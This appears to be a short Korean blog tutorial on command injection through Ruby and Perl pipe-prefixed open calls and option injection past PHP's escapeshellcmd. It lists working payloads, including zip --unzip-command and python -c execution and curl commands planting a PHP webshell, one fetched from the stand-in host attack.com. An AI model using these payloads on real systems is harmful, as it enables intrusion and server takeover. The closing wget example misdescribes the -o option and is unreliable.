1 minute read

Ruby & Perl

두 언어의 경우 파일 및 하위 프로세스의 I/O를 제공하는 open 함수가 존재한다.

[Ruby]
File.open("example.txt", "r") do |file|
  contents = file.read
  puts contents
end

[Perl]
open(my $file_handle, "<", "example.txt") or die "파일 열기 실패: $!";
while (my $line = <$file_handle>) {
    print $line;
}
close($file_handle);

만약 첫 번째 문가자 | (파이프라인)일 경우 pipe_open 함수에서 처리된다. 해당 함수는 새로운 프로세스를 생성하므로, 임의 명령어를 실행시킬 수 있다.
rb_io_s_binred, rb_io_open, rb_is_s_read를 사용하는
IO.read, IO.bindread 두 함수를 사용하더라도 전달된 인자에 따라 프로세스를 실행하므로 아래와 같이 open함수처럼 사용할 수 있다.

[Ruby]
open("|id > /tmp/test")
IO.read("/tmp/test")
-------
IO.read("|id")
-------
IO.binread("|id")

[Perl]
perl -e 'open A, "|id"'

PHP

php의 경우 기본적으로 system 함수가 주어지지만 OS Injection 방지를 위해 escapeshellcmd라는 함수를 사용한다. 이는 메타 문자가 입력되었을 경우 해당 문자 앞에 \ 을 삽입하여 문자 그 자체로 인식되도록 하고있다.
하지만 특정 명령어의 인자로 입력값이 전달되는 경우 실행하고자 하는 명령어의 옵션을 조작할 수 있다.

기본적으로

  1. escapeshellcmd
  2. escapeshellarg

두 함수가 존재하며, escapeshellcmd 함수의경우 메타 문자를 활용하지는 못하지만 명령어의 옵션 또는 인자를 조작할 수는 있다.

이를 어떻게 활용할 수 있을까?

  1. zip
    • zip 명령어의 —unzip-command 옵션이 존재한다 이는 인자로 전달된 명령어를 실행한다.
     zip /tmp/test.zip /etc/passwd -T --unzip-command="sh -c id"
    
  2. python
    • 파이썬의 -c옵션은 명령줄로 코드를 실행 할 수 있다.
     python -c '__import__("os").system("id")' input.py
    
  3. curl
    • curl의 -o옵션은 임의 경로에 파일을 저장할 수 있다. WebShell을 올리는 방안이 된다.
     http://test.locat/test/?mgs=<?%3Dsystem($_GET[cmd]);?> -o /var/www/html/uploads/webshell.php
    

    -o 옵션을 통해 외부의 데이터 또한 저장할 수 있다.
    공격자의 웹 서버에 WebShell 을 업로드 한 상태에서
    curl http://attack.com/webshell.php -o /var/www/html/webshgell.php
    와 같이 업로드가 가능하다.

/var/www/html은 아파치의 기본 경로이다. 즉 index 라고 생각하면 된다.

혹은 아래와 같이 특정 데이터를 추출해 저장할 수도 있다.

curl http://test.local -o /tmp/hello.txt

위 코드의 경우 tset.local 에서 반환되는 데이터를 hello.txt에 저장하는 예시이다.

  1. wget
    • wget 또한 curl과 동일하게 사용된다.
     wget http://test.local -o hello.txt
    

Leave a comment